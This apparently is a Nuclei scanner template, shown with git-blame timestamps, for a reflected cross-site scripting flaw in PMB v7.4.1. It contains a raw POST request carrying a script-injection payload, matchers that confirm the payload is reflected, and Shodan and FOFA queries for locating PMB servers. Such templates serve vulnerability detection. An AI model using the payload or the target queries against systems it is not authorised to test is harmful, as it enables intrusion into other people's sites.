2023-03-31 11:28:24 +00:00
|
|
|
id: pmb-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: PMB v7.4.1 - Cross Site Scripting
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
PMB v7.4.1 allow attacker to inject arbitrary malicious HTML or Javascripts code in user web browser via no_search parameter
|
|
|
|
reference:
|
|
|
|
- https://github.com/jenaye/PMB
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 5.4
|
|
|
|
cwe-id: CWE-80
|
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- http.favicon.hash:1469328760
|
|
|
|
- http.html:"pmb group"
|
|
|
|
product: pmb
|
|
|
|
vendor: sigb
|
|
|
|
fofa-query:
|
|
|
|
- icon_hash=1469328760
|
|
|
|
- body="pmb group"
|
2023-03-31 11:28:24 +00:00
|
|
|
tags: xss,pmb,cms
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2023-03-31 11:28:24 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /pmb/opac_css/index.php?lvl=search_result&search_type_asked=extended_search HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
add_field=&search%5B%5D=f_1&op_0_f_1=EXACT&field_0_f_1%5B%5D=gang&explicit_search=1&search_xml_file=search_fields&delete_field=&launch_search=1&page=&no_search=0&ij6fm%22%3e%3cscript%3ealert(1337)%3c%2fscript%3evg9q6c4g1mk=1
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '<script>alert(1337)</script>'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'PMB Group'
|
|
|
|
- 'pmbDojo'
|
|
|
|
condition: or
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4a0a00473045022077990bec30e2cee7cd302159b91fa880823ec7dfe5bcfbfd009576ffb0d6f90b02210083f571e8e0e3e2ef6edfb523407145e1cf5ea0ca8beda4d35a5aa4406d3e0fa9:922c64590222798bb761d5b6d8e72950
|